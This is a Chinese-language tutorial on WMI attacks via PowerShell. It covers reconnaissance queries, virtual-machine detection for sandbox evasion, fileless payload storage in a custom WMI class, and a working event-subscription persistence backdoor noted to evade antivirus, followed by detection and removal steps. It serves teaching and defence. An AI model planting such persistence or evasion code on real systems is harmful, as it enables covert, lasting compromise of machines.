WMI Attacks


Matt Graeber在Blackhat中介绍了如何使用WMI并展示其攻击效果,但细节有所保留,所以这一次具体介绍如何通过powershell来实现WMI attacks。

0x01 说明

WMI在内网渗透中最常见的是wmiexec 之前在/tips/?id=7358中有提到 因此Remote WMI不做重点介绍

参考链接: https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

0x02 测试环境

操作系统:win8 x32 powershell v3(win8默认安装) 开启Winmgmt服务,支持WMI

0x03 WMI attacks

注:以下代码均为powershell代码

1、侦查

操作系统相关信息

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS

文件/目录列表

Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile

磁盘卷列表

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume

注册表操作

Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents

如图

当前进程

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process

列举服务

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service

日志

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent

登陆账户

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser

共享

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share

补丁

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering

杀毒软件

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct

2、虚拟机检测

(1)判断TotalPhysicalMemory和NumberOfLogicalProcessors

$VMDetected = $False
$Arguments = @{
 Class = 'Win32_ComputerSystem'
 Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) { 
$VMDetected = $True
"In vm"
 } 
 else{
 "Not in vm"
 }

(2)判断虚拟机进程

$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning) 
{ $VMwareDetected = $True 
"in vm"
} 
else
{
"not in vm"
}

3、存储payload

【管理员权限】

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,
$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty' , "This is payload")
$StaticClass.Put() 

如图

Tips:

可加密存储于此位置,执行时解密运行,达到硬盘不存文件的效果

4、隐蔽定时启动程序

【管理员权限】

$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=

$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @

{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=

$WMIEventFilter;Consumer=$WMIEventConsumer}

如图

每60s执行一次notepad.exe
Tips:

之前在Stuxnet上面就使用了这个后门,通过mof实现
至今该后门方法…还有很多人在用
杀毒软件对此行为也不会查杀…

0x04 WMI后门检测及清除 :

1、查看当前WMI Event
【管理员权限】

#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

如图

2、清除后门

【管理员权限】

#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose

#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose

#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose

如图

0x05 总结

实现wmi attacks的不止有powershell,比如

  • vbs
  • mof
  • C/C++ via IWbem* COM API
  • .NET System.Management classes

检测方法也有很多,比如查看日志

  • Microsoft-Windows-WinRM/Operational
  • Microsoft-Windows-WMI-Activity/Operational
  • Microsoft-Windows-DistributedCOM
    甚至禁用Winmgmt服务从根本上阻止该方法的使用

更多wmi attacks的方法欢迎讨论。

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